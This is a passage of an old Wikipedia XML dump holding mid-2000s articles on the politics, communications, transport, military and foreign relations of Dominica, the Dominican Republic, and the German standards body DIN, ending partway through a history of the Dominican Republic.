'''Politics of Dominica''' takes place in a framework of a [[parliamentary system|parliamentary]] [[representative democracy|representative democratic]] [[republic]], whereby the [[Prime Minister of Dominica]] is the [[head of government]], and of a pluriform multi-party system. [[Executive power]] is exercised by the government. Federal [[legislative power]] is vested in both the [[government]] and the [[House of Assembly of Dominica|House of Assembly]]. The [[Judiciary]] is independent of the executive and the legislature.

==Executive branch==
{{office-table}}
|[[List of Presidents of Dominica|President]]
|[[Nicholas Liverpool]]
|
|[[7 October]] [[2003]])
|-
|[[List of Prime Ministers of Dominica|Prime Minister]]
|[[Roosevelt Skerritt]]
|[[Dominica Labour Party|DLP]]
|[[8 January]] [[2004]])
|}
A president and prime minister make up the executive branch. Nominated by the prime minister in consultation with the leader of the opposition party, the president is elected for a 5-year term by the parliament. The president appoints as prime minister the leader of the majority party in the parliament and also appoints, on the prime minister's recommendation, members of the parliament from the ruling party as cabinet ministers. The prime minister and cabinet are responsible to the parliament and can be removed on a no-confidence vote. 

==Legislative branch==
The [[House of Assembly of Dominica|House of Assembly]] has 32 members, 21 members elected for a five year term in single-seat [[constituency|constituencies]], 9 appointed senators, the Speaker and 1 ex-officio member. a [[head of state]] - the [[president]] -  is elected by the House of Assembly. is composed of 21 regional representatives and nine senators. The regional representatives decide whether senators are to be elected or appointed. If appointed, five are chosen by the president with the advice of the prime minister and four with the advice of the opposition leader. If elected, it is by vote of the regional representatives. Elections for representatives and senators must be held at least every 5 years, although the prime minister can call elections any time. 
Dominica has a [[two-party system]], which means that there are two dominant [[political parties]], with extreme difficulty for anybody to achieve electoral success under the banner of any other party. Dominica was once a three-party system, but in the past few years the [[Dominica Labour Party]] and the greatly diminished [[Dominica Freedom Party]] have built a coalition.

==Political parties and elections==
{{elect|List of political parties in Dominica|Elections in Dominica}}
{{Dominica legislative election, 2005}}

==Judicial branch==
Dominica's legal system is based on English common law. There are three magistrate's courts, with appeals made to the Eastern Caribbean court of appeal and, ultimately, to the [[Privy Council of the United Kingdom|Privy Council]] in [[London]]. The [[Eastern Caribbean Supreme Court]] (located in Saint Lucia), one of the six judges must reside in Dominica and preside over the Court of Summary Jurisdiction.

==Administrative divisions==
Councils elected by universal suffrage govern most towns. Supported largely by property taxation, the councils are responsible for the regulation of markets and sanitation and the maintenance of secondary roads and other municipal amenities. The island also is divided into 10 parishes, whose governance is unrelated to the town governments: Saint Andrew, Saint David, Saint George, Saint John, Saint Joseph, Saint Luke, Saint Mark, Saint Patrick, Saint Paul, Saint Peter.

==International organization participation==
ACCT, [[ACP (Lomé Convention)|ACP]], C, [[Caricom]], [[Caribbean Development Bank|CDB]], [[United Nations Economic Commission for Latin America and the Caribbean|ECLAC]], [[Food and Agriculture Organization|FAO]], [[G-77]], [[World Bank|IBRD]], [[International Criminal Court|ICC]], [[International Confederation of Free Trade Unions|ICFTU]], ICRM, IDA, [[International Fund for Agricultural Development|IFAD]], [[International Finance Corporation|IFC]], IFRCS, [[International Labour Organization|ILO]], [[International Monetary Fund|IMF]], IMO, [[Interpol]], [[International Olympic Committee|IOC]], [[International Telecommunication Union|ITU]], [[Non-Aligned Movement|NAM (observer)]], [[Organization of American States|OAS]], [[Organisation of Eastern Caribbean States|OECS]], OPANAL, [[Organisation for the Prohibition of Chemical Weapons|OPCW]], [[United Nations|UN]], [[United Nations Conference on Trade and Development|UNCTAD]], [[United Nations Educational, Scientific and Cultural Organization|UNESCO]], [[United Nations Industrial Development Organization|UNIDO]], [[Universal Postal Union|UPU]], WCL, [[World Health Organization|WHO]], [[World Intellectual Property Organization|WIPO]], [[World Meteorological Organization|WMO]], WTrO

== Further reading ==
* Matthias Catón: &quot;Dominica&quot; in: ''Elections in the Americas. A Data Handbook'', vol. 1, ed. by Dieter Nohlen. Oxford University Press, Oxford, 2005: pp. 223–237 ISBN 0-19-928357-5


[[Category:Dominica]]</text>
    </revision>
  </page>
  <page>
    <title>Dominica/Economy</title>
    <id>8055</id>
    <revision>
      <id>15906078</id>
      <timestamp>2002-06-14T14:30:25Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Economy of Dominica]]</comment>
      <text xml:space="preserve">#REDIRECT [[Economy of Dominica]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Dominica</title>
    <id>8056</id>
    <revision>
      <id>33273765</id>
      <timestamp>2005-12-30T18:04:19Z</timestamp>
      <contributor>
        <username>Ma3nocum</username>
        <id>333140</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
18,000 ([[1995]])

'''Telephones - [[mobile cellular]]:'''
NA

'''Telephone system:'''
&lt;br&gt;''domestic:''
fully automatic network
&lt;br&gt;''international:''
[[microwave]] radio relay and [[SHF]] [[radiotelephone]] links to [[Martinique]] and [[Guadeloupe]]; [[VHF]] and [[Ultra high frequency|UHF]] radiotelephone links to [[Saint Lucia]]

'''[[Radio]] [[Broadcasting|broadcast]] stations:'''
[[AM broadcasting|AM]] 3, [[FM]] 10, [[shortwave]] 0 ([[1998]])

'''Radios:'''
46,000 ([[1997]])

'''[[Television]] broadcast stations:'''
0 (however, there are two cable television companies, Marpin Telecoms and SAT Telecommunications) (2004)

'''Televisions:'''
6,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
Cable &amp; Wireless Dominica Ltd

'''[[Country code]]:''' DM

:''See also :'' [[Dominica]]

[[Category:Communications by country|Dominica]]
[[Category:Communications in Dominica|*]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Dominica</title>
    <id>8057</id>
    <revision>
      <id>35666439</id>
      <timestamp>2006-01-18T12:05:29Z</timestamp>
      <contributor>
        <username>Morwen</username>
        <id>17287</id>
      </contributor>
      <comment>{{North America in topic|Transportation in}}</comment>
      <text xml:space="preserve">{{CIA}}

'''Railways:'''
0 km

'''Highways:'''
&lt;br&gt;''total:''
780 km
&lt;br&gt;''paved:''
393 km
&lt;br&gt;''unpaved:''
387 km (1996 estimate.)

'''Ports and harbors:'''
Portsmouth, Roseau

'''Merchant marine:'''
none (1999 estimate.)

'''Airports:'''
2 (1999 estimate.)

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
2
&lt;br&gt;''914 to 1,523 m:''
2 (1999 estimate.)

:''See also :'' [[Dominica]]

{{North America in topic|Transportation in}}

[[Category:Dominica]]
[[Category:Transportation by country|Dominica]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Dominica</title>
    <id>8058</id>
    <revision>
      <id>35482137</id>
      <timestamp>2006-01-17T01:50:24Z</timestamp>
      <contributor>
        <username>Bobet</username>
        <id>445629</id>
      </contributor>
      <minor />
      <comment>Stub-sorting. [[Wikipedia:WikiProject Stub sorting|You can help!]]</comment>
      <text xml:space="preserve">The '''[[military]] of [[Dominica]]''' consists of the [[Commonwealth of Dominica Police Force]] (includes Special Service Unit, Coast Guard).

'''Military expenditures - dollar figure:'''
$NA

'''Military expenditures - percent of GDP:'''
NA%

[[Category:Dominica]]
[[Category:Militaries|Dominica]]

{{Caribbean-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Dominica</title>
    <id>8059</id>
    <revision>
      <id>36024316</id>
      <timestamp>2006-01-21T00:04:45Z</timestamp>
      <contributor>
        <username>Hu</username>
        <id>133716</id>
      </contributor>
      <minor />
      <comment>[[Commonwealth of Nations]]</comment>
      <text xml:space="preserve">Like its [[Eastern Caribbean]] neighbors, the main priority of [[Dominica]]'s foreign relations is economic development. The country maintains missions in Washington, New York, London, and Brussels and is represented jointly with other [[Organisation of Eastern Caribbean States]] (OECS) members in [[Canada]]. Dominica is also a member of the [[Caribbean Development Bank]] (CDB), and the [[Commonwealth of Nations]]. It became a member of the [[United Nations]] and the [[International Monetary Fund]] (IMF) in 1978 and of the [[World Bank]] and [[Organization of American States]] (OAS) in 1979.

As a member of [[CARICOM]], in July 1994 Dominica strongly backed efforts by the United States to implement [[UN Security Council Resolution 940]], designed to facilitate the departure of [[Haiti]]'s de facto authorities from power. The country agreed to contribute personnel to the multinational force, which restored the democratically elected government of Haiti in October 1994.

In May 1997, Prime Minister James joined 14 other Caribbean leaders, and President Clinton, during the first-ever U.S.-regional summit in [[Bridgetown, Barbados]]. The summit strengthened the basis for regional cooperation on justice and counternarcotics issues, finance and development, and trade.

Dominica previously maintained official relations with the [[Republic of China]] (commonly known as &quot;Taiwan&quot;) instead of the [[People's Republic of China]], but on March 23 a joint communique was signed in Beijing, paving the way for diplomatic recognition of the People's Republic. Beijing responded to Domica's severing relations with the Republic of China by giving them a $112 million aid package, which includes $6 million in budget support for the year 2004 and $1 million annually for six years.

'''Illicit drugs:'''
transshipment point for narcotics bound for the US and Europe; minor [[cannabis (drug)|cannabis]] producer; banking industry is vulnerable to money laundering
[[Category:Dominica]]
[[Category:Foreign relations by country|Dominica, Foreign affairs of]]</text>
    </revision>
  </page>
  <page>
    <title>Dominican Republic</title>
    <id>8060</id>
    <revision>
      <id>42110698</id>
      <timestamp>2006-03-03T22:12:25Z</timestamp>
      <contributor>
        <username>Piotrus</username>
        <id>59002</id>
      </contributor>
      <comment>/* Economy */ some ilinks</comment>
      <text xml:space="preserve">{{Dominican Republic infobox}}
[[Image:Dominican_republic_sm03.jpg|thumb|300px|Map of the Dominican Republic]]
The '''Dominican Republic''', ([[Spanish language|Spanish]]: ''República Dominicana'', [[International Phonetic Alphabet|IPA]] {{IPA|[re'puβlika domini'kana]}}) is a country located on the eastern two-thirds of the [[Caribbean Sea|Caribbean]] island of [[Hispaniola]], bordering [[Haiti]]. Hispaniola is the second-largest of the [[Greater Antilles]] islands, and lies west of [[Puerto Rico]] and east of [[Cuba]] and [[Jamaica]]. A legacy of unsettled, mostly non-representative rule lasted for much of the [[20th century]]; the move towards [[representative democracy]] has improved vastly since the death of military dictator [[Rafael Leónidas Trujillo]] in [[1961]]. Dominicans sometimes refer to their country as '''Quisqueya''', a name for Hispaniola used by [[indigenous peoples|indigenous]] [[Taíno]] people. The Dominican Republic is not to be confused with [[Dominica]], another Caribbean country.  

==History==
:''Main article: [[History of the Dominican Republic]]''
The country has had a history of changing ownership, with occasional attempts at independence and self-rule.  First a [[Spanish empire|Spanish colony]] and then a [[French colonial empires|French colony]], it was subsequently ruled by Haiti and then Spain again, and later the [[United States]] twice ruled Dominican territory.

In the beginning the island was primarily inhabited by the [[Taíno]], a branch of the [[Arawaks]]. ''Taíno'' means &quot;the good&quot; or &quot;noble&quot; in that native language. A system of [[Cacique|Cacicazgos]] ([[chiefdom]]s) was in place, and Marien, Maguana, Higuey, Magua and Xaragua (Also written as Jaragua) were their names. These chiefdoms were then subdivided into subchiefdoms. The Cacicazgos were based on a system of [[tribute]], consisting of the food grown by the Taino. Among the cultural signs that they left were cave paintings around the country, which have become touristic and nationalistic symbols of the Dominican Republic, and words from their language, including &quot;hurricane&quot; (hurrakan) and &quot;tobacco&quot; (tabakko).

===The arrival of the Guamikena (the covered ones)===
On December 5, [[1492]], the Europeans arrived. Believing that these beings from over the horizon were in someway supernatural, the Taínos welcomed the Europeans with all the honors available to them. This was a totally different society from the one the Europeans came from.  One of the things that piqued the curiosity was the amount of clothing worn by the Europeans. Therefore they came to call them &quot;guamikena&quot; (the covered ones). [[Guacanagarix]], the chief who hosted [[Christopher Columbus]] and his men, treated them kindly and provided him with everything they desired. Yet the Taínos' allegedly &quot;egalitarian&quot; system clashed with the Europeans' feudalist system, with more rigid class structures. This led the Europeans to believe the Taínos to be either weak or misleading, and they began to treat the tribes with more violence. Columbus tried to temper this when he and his men departed from Quisqueya and they left on a good note. Columbus had cemented a firm alliance with Guacanagarix, who was a powerful chief on the island. After the shipwrecking of the Santa Maria, he decided to establish a small fort with a garrison of men that could help him lay claim to this possession. The fort was called La Navidad, since the events of the shipwrecking and the founding of the fort occurred on Christmas day. The garrison, in spite of all the wealth and beauty on the island, was wracked by divisions within and the men took sides, that evolved  into conflict amongst these first Europeans. The more rapacious ones began to terrorize the Taíno, Ciguayo and Macorix tribesmen up to the point of trying to take their women.

Viewed as weak by the Spaniards and even some of his own people, Guacanagarix tried to come to an accommodation with the Spaniards, who saw his appeasement as the actions of someone who submitted, they treated him with contempt and even took some of his wives too.  The powerful cacique of the maguana, Caonabo could brook no further affronts, attacked the Europeans and destroyed La Navidad. Guacanagarix, dismayed as he was by this turn of events did not try too hard to aid these guamikena, probably hoped that the troublesome outsiders would never return. However, they did return.

===The twentieth century=== 
The twentieth century was marked by repeated U.S. intervention in local affairs. The reason for this was the island's strategic location in the middle of the Caribbean Sea. During the World Wars the islands of the Caribbean were used as stop-off points for German [[U-boats]] from which to plan possible attacks against the North American continent. During the [[Cold War]], [[Soviet Union|Soviet]] and capitalist ideologies clashed openly on the island. Apart from tentative U.S. support for the [[Rafael Leonidas Trujillo|Trujillo]] dictatorship (1930-1961) (though this faded during his final years), the largest example of this was the [[1965]] invasion by American troops in the midst of a Dominican civil war, an uprising that was sparked by an attempt to restore the republic's first democratically-elected president of the 20th century, [[Juan Bosch]], who had been overthrown by a [[right-wing politics|right-wing]] [[coup]] in 1963. Following this civil war, and America's deployment of troops in [[Operation Power Pack]], [[Joaquín Balaguer]] (1966-1978) was democractically elected, winning by 57%. Juan Bosch's constitutional government never returned to power. The [[Lyndon Johnson|Johnson administration]] justified the 1965 intervention by stating that it suspected many of Bosch's supporters were pro-[[Cuba|Cuban]] [[communism|Communists]].

==Politics== 
:''Main article: [[Politics of the Dominican Republic]]''

The Dominican Republic is a [[representative democracy]] whose national powers are divided among independent [[Executive (government)|executive]], [[Legislature|legislative]], and [[judicial]] branches. The [[President of the Dominican Republic|president]] appoints the cabinet, executes laws passed by the legislative branch, and is commander-in-chief of the armed forces. The president and vice president run for office on the same ticket and are elected by direct vote for four-year terms.

Legislative power is exercised by a bicameral [[National Congress of the Dominican Republic|National Congress]] — the [[Senate of the Dominican Republic|Senate]] (32 members), and the [[Chamber of Deputies of the Dominican Republic|Chamber of Deputies]] (150 members). Presidential elections are held in years evenly divisible by four. Congressional and municipal elections are held in even-numbered years not divisible by four.

==Provinces==
:''Main article: [[Provinces of the Dominican Republic]]''

==Geography==
[[Image:Isla_Saona.jpg|thumb|400px|A beach on the Saona island]]
:''Main article: [[Geography of the Dominican Republic]]''
The capital of the country is the city of [[Santo Domingo ]]-full name Santo Domingo de Guzman, located in the south part of the island. Originally a single city located within the province Distrito Nacional (National District), it has now been divided into a Province of Santo Domingo and the National District. The Province of Santo Domingo is comprised of several municipalities: Santo Domingo Norte (North Santo Domingo), Santo Domingo Este (East Santo Domingo, which is the provincial capital), Santo Domingo Oeste (West Santo Domingo) and Boca Chica. The Ozama River serves a natural border between the National District and the Province of Santo Domingo. Thus the capital city of the Country is the City of Santo Domingo de Guzman, Province of National District. The second largest city is [[Santiago de los Caballeros]], more commonly referred to as simply Santiago.

[[Image:IMG_1281.jpg|thumb|300px|Statue of Juan Pablo Duarte in front of La Pelona]]

The country has three major mountain ranges: The Central Mountains (Cordillera Central), which originate in Haiti and span the central part of the island, ending up in the south. This mountain range boasts the highest peak in the [[Antilles]], [[Pico Duarte]] (3 087 m above [[sea level]]). The Septentrional Mountains, running parallel to the Central Mountains, separate the Cibao Valley and the Atlantic coastal plains. The highest point here is Pico Diego de Ocampo. The lowest and shortest of the three ranges is the Eastern Mountains, in the eastern part of the country. There are also the Sierra Bahoruco and the Sierra Neyba in the southwest. This is a country of many rivers, including the navigable Soco, Higuamo, Romana, Yaque del Norte, Yaque del Sur, Yuna, Yuma, and Bajajabonicoco.

==Demographics==
:''Main article: [[Demographics of the Dominican Republic]]''
The majority of Dominicans are of Mixed African, European and Native American (Taino) Blood. A small presence of [[Asian|Asian]], mostly of [[overseas Chinese|Chinese]] descent, and [[Middle East|Middle Easterners]], mostly [[Lebanese]], can be found. Dominican culture is essentially Latin coated with a elements of [[Spanish]]'s culture, like language and religion. African culture also is a major factor, with elements such as the music and Carnival testimony to the rich slave heritage.  It also has many Antilliean, European, and American influences.

Since the early [[1960s]], economic problems have led to a vast migration of Dominicans to the U.S., mainly to large east coast cities, and coming on the heels of a similar migration of [[Puerto Ricans]]. [[New York City]]'s [[Washington Heights]] is so densely populated by Dominicans, it is sometimes referred to as '' Quisqueya Heights''. ''Quisqueya'' is a popular name for Hispaniola that many believe derives from the island's original Arawak name, although this is disputed by some historians. Dominicans are now one of the largest [[Latino]] groups in the US; less numerous than the Mexican majority and Puerto Ricans, and about even with Cubans. There are also sizeable Dominican emigre communities in the [[Netherlands]], [[Puerto Rico]], [[Spain]], and [[St. Maarten]].

Dominican Republic has a history of race and prejudice issues, mostly of [[blacks]] against [[blacks]]. This phenomenon is common in the island and much more pronounced in Haiti. In recent years, illegal immigration from Haiti has dramatically increased as the Dominican economy improves and the Haitian economy remains virtually moribund. Most Haitian immigrants work at low-paying, unskilled labor jobs, including construction work and household cleaning. The Dominican sentiment towards these immigrants is frequently negative, and at times in its history, including the period during and after Haiti merged the two nations (the [[19th century]] and the reign of [[Rafael Leonidas Trujillo]]), there have been anti-Haitian pogroms, slaughtering 18,000 Haitians at the border [http://haitiforever.com/windowsonhaiti/warwh.shtml]. This also led to Dominican Republic paying Haiti $750,000 to avert war.  [http://www.thediamondangle.com/marasco/negleg/trujillo.html] Many foreigners reside in the country for business, religious, and leisure reasons, and there are significant populations of Americans, Canadians, Germans, French, and Koreans in the country.

==Economy==
:''Main article: [[Economy of the Dominican Republic]]''
The Dominican Republic is a middle-income developing country primarily dependent on [[agriculture]], [[trade]], and [[services]], especially [[tourism]]. Although the service sector has recently overtaken agriculture as the leading employer of Dominicans (due principally to growth in tourism and [[Free Trade Zones]]), agriculture remains the most important sector in terms of domestic consumption and is in second place (behind [[mining]]) in terms of [[export]] earnings. Tourism accounts for more than $3 billion in annual earnings. [[Free Trade Zone]] earnings and tourism are the fastest-growing export sectors. [[Remittances from overseas|Remittances]] from Dominicans living abroad are estimated to be about $3 billion per year.

Following economic turmoil in the late 1980s and 1990, during which the [[GDP]] fell by up to 5% and consumer price [[inflation]] reached an unprecedented 100%, the Dominican Republic entered a period of moderate growth and declining inflation until 2002 after which the economy entered a [[recession]], after the second [[commercial bank]] of the country collapsed, caused by a major [[fraud]]. GDP dropped by 1% in 2003 while inflation ballooned by over 27%.

Despite a widening merchandise [[trade deficit]], tourism earnings and remittances have helped build [[foreign exchange reserves]]. The Dominican Republic is current on foreign [[Consumer debt|private debt]], and has agreed to pay arrears of about $130 million to the [[U.S. Department of Agriculture|U.S. Department of Agriculture's]] [[Commodity Credit Corporation]].

==Peso==
:''Main article: [[Dominican Peso]]''
The [[Dominican Peso]] (RD$) is the national currency of the country although the [[US dollar]] is often acceptable in some places, especially tourist oriented shops and hotels. At the beginning the peso was worth about the same as a [[US dollar]]. In [[1993]] the US dollar was worth about RD$14.00, in [[1998]] RD$16.00, in [[2002]] RD$20.00, but in [[2003]] almost RD$55.00, [[2004]] RD$37.00, [[2005]] RD$29.90. The US dollar currently fluctuates on a daily basis, and is usually worth between $-31.90-35.00 pesos.  
==Culture==
:''Main article: [[Culture of the Dominican Republic]]''
[[Baseball]] is the top national sport in the Dominican Republic and there are many popular Dominicans who play [[Major League Baseball]] in the U.S., including [[Albert Pujols]], [[Sammy Sosa]],[[Rafael Furcal]], [[Pedro Martinez]], [[David Ortiz]], [[Miguel Tejada]], and [[Manny Ramirez]].  The Dominican Republic also has its own baseball league, which many MLB players go to during off-season, and which is also a &quot;training ground&quot; for the MLB.

Eighty-nine percent of Dominicans are baptized in the [[Catholic Church in the Dominican Republic|Roman Catholic Church]].  Other substantial religious groups are the Evangelical Christians and the Church of Jesus Christ of Latter-Day Saints.  Around one percent of the nation's inhabitants practice pure spiritism, although it is very common for Catholicism and spiritism to be mixed in Santeria's seancees and &quot;saint&quot; parties.

The Dominican Republic is known for a form of music called [[merengue (music)|Merengue]], which has been popular since the mid- to late-[[1900s]]. It has sexually charged syncopated beats using Latin percussion, brass instruments, bass and electric guitars. What was considered unpopular to the youth, until today, is a form of folk music called [[Bachata]]. Bachata is usually slow, romantic, and [[Spanish guitar]] driven. However, bachata's rhythm can be sped up to the same [[syncopation]] as Merengue, and its called ''bacharengue''. Both genres of music are popular throughout the world. [[Reggaeton]], a style of music that orginated in Panama, Jamaica, [[Reggae]] and Puerto Rico, is the dominant music of the country's youth, and defines the party lifestyle of the country. The most successful producers of Reggaeton music are [[Luny Tunes]] from [[La Romana]] in the Dominican Republic; Luny Tunes has produced many successfull songs of [[Daddy Yankee]], [[Tego Calderón]], [[Ivy Queen]] and [[Don Omar]]. Reggaeton is a mix of [[hip hop music|hip hop]], [[reggae]], [[bomba]], and [[plena]].
*[[Music of the Dominican Republic]]
*[[List of Dominicans]]
*[[List of players from Dominican Republic in Major League Baseball]]
*[[Tigres de Licey]]

[[Image:Carnival 002 4550.JPG|250px|taino children, carnival Dominican Republic. photographer: www.hotelviewarea.com]] 
[[Image:Carnival 002 4677.JPG|250px|whip men, carnival Dominican Republic. photographer: www.hotelviewarea.com]] [[Image:Carnival 002 4412.JPG|250px|taino girls, carnival Dominican Republic.]]

Carnival in the Dominican Republic, 27, February.

==See also==
* [[Communications in the Dominican Republic]]
* [[Foreign relations of the Dominican Republic]]
* [[List of Dominican companies]]
* [[List of Dominicans]] 
* [[Music of the Dominican Republic]]
* [[Military of the Dominican Republic]]
* [[Transportation in the Dominican Republic]]
* [[Larimar]]
* [[Operation Power Pack]]
* [[International Commission of Science and Technology]]

==External links==
* [http://www.presidencia.gov.do Presidency of the Dominican Republic website, in Spanish]
* [http://www.latinbusinesschronicle.com/dominican Latin Business Chronicle: Dominican Business Reports, Statistics and Links]

{{West_Indies}}
{{Caricom}}

[[Category:Dominican Republic| ]]

[[an:Republica Dominicana]]
[[bg:Доминиканска република]]
[[zh-min-nan:Dominic Kiōng-hô-kok]]
[[bn:ডোমিনিকান প্রজাতন্ত্র]]
[[bs:Dominikanska Republika]]
[[ca:República Dominicana]]
[[cs:Dominikánská republika]]
[[da:Dominikanske Republik]]
[[de:Dominikanische Republik]]
[[et:Dominikaani Vabariik]]
[[el:Δομινικανή Δημοκρατία]]
[[es:República Dominicana]]
[[eo:Domingo]]
[[fr:République dominicaine]]
[[ga:An Phoblacht Dhoiminiceach]]
[[gl:República Dominicana]]
[[ko:도미니카 공화국]]
[[hr:Dominikanska Republika]]
[[id:Republik Dominika]]
[[is:Dóminíska lýðveldið]]
[[it:Repubblica Dominicana]]
[[he:הרפובליקה הדומיניקנית]]
[[lv:Dominikana]]
[[lt:Dominikos Respublika]]
[[hu:Dominikai Köztársaság]]
[[mr:डॉमिनिकन प्रजासत्ताक]]
[[ms:Republik Dominican]]
[[na:Republik Dominica]]
[[nl:Dominicaanse Republiek]]
[[nds:Dominikaansche Republiek]]
[[ja:ドミニカ共和国]]
[[no:Den dominikanske republikk]]
[[nn:Den dominikanske republikken]]
[[pl:Dominikana]]
[[pt:República Dominicana]]
[[ro:Republica Dominicană]]
[[ru:Доминиканская Республика]]
[[sq:Republika Domenikane]]
[[simple:Dominican Republic]]
[[sk:Dominikánska republika]]
[[sl:Dominikanska republika]]
[[sr:Доминиканска Република]]
[[fi:Dominikaaninen tasavalta]]
[[sv:Dominikanska republiken]]
[[tr:Dominik Cumhuriyeti]]
[[uk:Домініканська Республіка]]
[[zh:多明尼加共和國]]</text>
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  </page>
  <page>
    <title>Dramatists</title>
    <id>8061</id>
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      <comment>Robot: Fixing [[Special:DoubleRedirects|double-redirect]] -&quot;Dramatist&quot; +&quot;Playwright&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Playwright]]</text>
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  </page>
  <page>
    <title>DIN</title>
    <id>8062</id>
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      <id>37507268</id>
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      <comment>robot  Adding: bg</comment>
      <text xml:space="preserve">:''This article is about the German Institute for Standardization, for other uses of &quot;DIN&quot;, see [[DIN (disambiguation)]]''
'''Deutsches Institut für Normung e.V.''' (DIN, the German Institute for Standardization) is a German national organization for [[standardization]].  

[[DIN plug|DIN and mini-DIN connectors]] are familiar to computer users all over the world, but DIN issues standards in any conceivable area. One of the oldest and surely most popular is [[DIN 476]], specifying paper sizes since [[1922]]. It became an international norm.

DIN is a registered association (''e.V.''), founded in [[1917]], originally as '''Normenausschuss der deutschen Industrie''' (NADI, standardisation committee of the German industry). In [[1926]] the NADI was renamed to '''Deutscher Normenausschuss''' (DNA, German standardisation committee), in [[1975]] the DNA was finally renamed to DIN. Its headquarters is in [[Berlin]]. Since [[1975]] it has been recognized by the German government as the national standards body and represents [[Germany|German]] interests at international and [[Europe|European]] level.

The [[acronym]] DIN is often wrongly expanded as ''Deutsche Industrienorm'' (German industry standard). This is largely due to the historic origin of the DIN as the NADI. The NADI indeed published their standards as ''DI-Norm'' (''Deutsche Industrienorm'', German industry standard). E.g. the first published standard in 1917 was 'DI-Norm 1' (about [[taper pin]]s). Many people still wrongly associate DIN as an abbreviation for the old ''DI-Norm'' naming of standards.

==DIN standard designation==
The designation of a DIN standard shows its origin (# denotes a number):
* ''DIN #'' is used for German standards with primarily domestic significance or designed as a first step toward international status. ''E DIN #'' is a draft standard and ''DIN V #'' is a preliminary standard.
*''DIN EN #'' is used for German edition of European standards. ''DIN ETS #'' is used for standards prepared by [[European Telecommunications Standards Institute]].
*''DIN ISO #'' is used for German edition of ISO standards. ''DIN EN ISO #'' is used if the standard has also been adopted as a European standard.

==Example of DIN standards==
See the [[List of DIN standards|list of DIN standards]] for
a complete list.

*[[DIN 476]]: international paper sizes (now [[ISO 216]] or DIN EN ISO 216)
*[[DIN 72552]]: electric terminal numbers in [[automobile]]s
*[[DIN 31635]]: transliteration of the Arabic language.

==See also==
*[[Standard data model]]
*[[List of standards topics]]
*[[List of electronics topics]]
*[[Film speed]]

==External links==
* [http://www.din.de/ DIN home page]
* [http://www2.din.de/index.php?lang=en English version]


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[[fr:Deutsches Institut für Normung]]
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[[sv:DIN]]</text>
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  <page>
    <title>History of the Dominican Republic</title>
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[[Image:15thcenturyhispaniola.JPG|thumb|250px|right|Early map of Hispaniola]]
==Early History to 1599==
The [[island]] of [[Hispaniola]], of which the [[Dominican Republic]] forms the eastern two-thirds and [[Haiti]] the remainder, was originally occupied by [[Taíno]]s, an [[Arawak]]-speaking people who called the island ''Quisqueya'' (or ''Kiskeya''). The Taínos welcomed [[Christopher Columbus]] when he first arrived on December 5, [[1492]] and on his second voyage in 1493 when he founded the first Spanish colony in the New World.
Repression and diseases reduced the Taíno population from about 1 million to about 500 in 50 years. To ensure adequate labor for plantations, the Spanish brought African [[slaves]] to the island beginning in [[1503]]. 

==1600-1929==
In the next century, French settlers occupied the western end of the island, which [[Spain]] ceded to [[France]] in [[1697]], and which, in [[1804]], became the Republic of Haiti. The French held on in the eastern part of the island, until defeated by the Spanish inhabitants at the battle of [[Palo Hincado]] on [[November 7]], [[1808]] and the final capitulation of the besieged Santo Domingo on [[July 9]], [[1809]], with help from the [[Royal Navy]]. The Spanish authorities showed little interest in their restored colony, and the following period is recalled as ''La España Boba'' &amp;#8211; 'The Era of Foolish Spain'. In [[1821]] the Spanish settlers declared an independent state, but Haitian forces occupied the whole island just 9 weeks later and held it for 22 years.  
[[Image:Juan_pablo_duarte.jpg.jpg|frame|right|Juan Pablo Duarte y Diez]]

On [[February 27]], [[1844]], independence was declared from the Haitians. This was the culmination of a movement led by [[Juan Pablo Duarte]], then in exile, the hero of Dominican independence. The military  forces that drove the occupiers out were led by [[Pedro Santana]].  

The Dominican Republic's first constitution was adopted on [[November 6]], 1844. It adopted a presidential form of government with many liberal tendencies, but it was marred by Article 210, imposed by [[Pedro Santana]] on the constitutional assembly by force, which gave him the privileges of a dictatorship until the war of independence was over. These privileges not only served him to win the war, but also allowed him to persecute, execute and drive into exile his political opponents, among which Duarte was the most important. 

In [[1861]], during one of his presidencies, Santana restored the Dominican Republic to Spain. This move was widely rejected and on [[August 16]], [[1863]], a national war of &quot;restoration&quot; began. In [[1865]], independence was restored. Economic difficulties, the threat of European intervention, and ongoing internal disorders led to a U.S. occupation in [[1916]] and the establishment of a military government in the Dominican Republic. The occupation ended in [[1924]], with a democratically elected Dominican government. 

==1930 to 1980==
In [[1930]], [[Rafael Trujillo]], a prominent army commander, established absolute political control. Trujillo promoted economic development--from which mainly he and his supporters benefitted--and severe repression of domestic human rights. Mismanagement and corruption resulted in major economic problems.During the European [[the Holocaust|Holocaust]] in the [[World War II|Second World War]], the Dominican Republic took in many Jews fleeing Hitler. In August [[1960]], the [[Organization of American States]] (OAS) imposed diplomatic sanctions against the Dominican Republic as a result of Trujillo's complicity in an attempt to assassinate President [[Rómulo Betancourt]] of [[Venezuela]]. These sanctions remained in force after Trujillo's assassination in May [[1961]]. In November 1961, the Trujillo family was forced into exile, fleeing to France. 

In January [[1962]], a council of state with legislative and executive powers was formed; it included moderate members of the opposition. OAS sanctions were lifted January 4, and, after the resignation of President [[Joaquín Balaguer]] on January 16, the council under President [[Rafael Bonnelly]] headed the Dominican government. In [[1963]], [[Juan Bosch]] was inaugurated President. Bosch was overthrown in a military coup in September 1963.  

After Bosch's overthrow a &quot;Triumvirate&quot; established a de facto dictatorship until April 24 [[1965]], when another military coup led to violence between military elements favoring the return to government by Bosch and those who proposed a military junta committed to early general elections. On April 28, after being requested by the anti Bosch army elements, U.S. military forces landed, officially to protect U.S. citizens and to evacuate U.S. and other foreign nationals. Additional U.S. forces subsequently established order. 

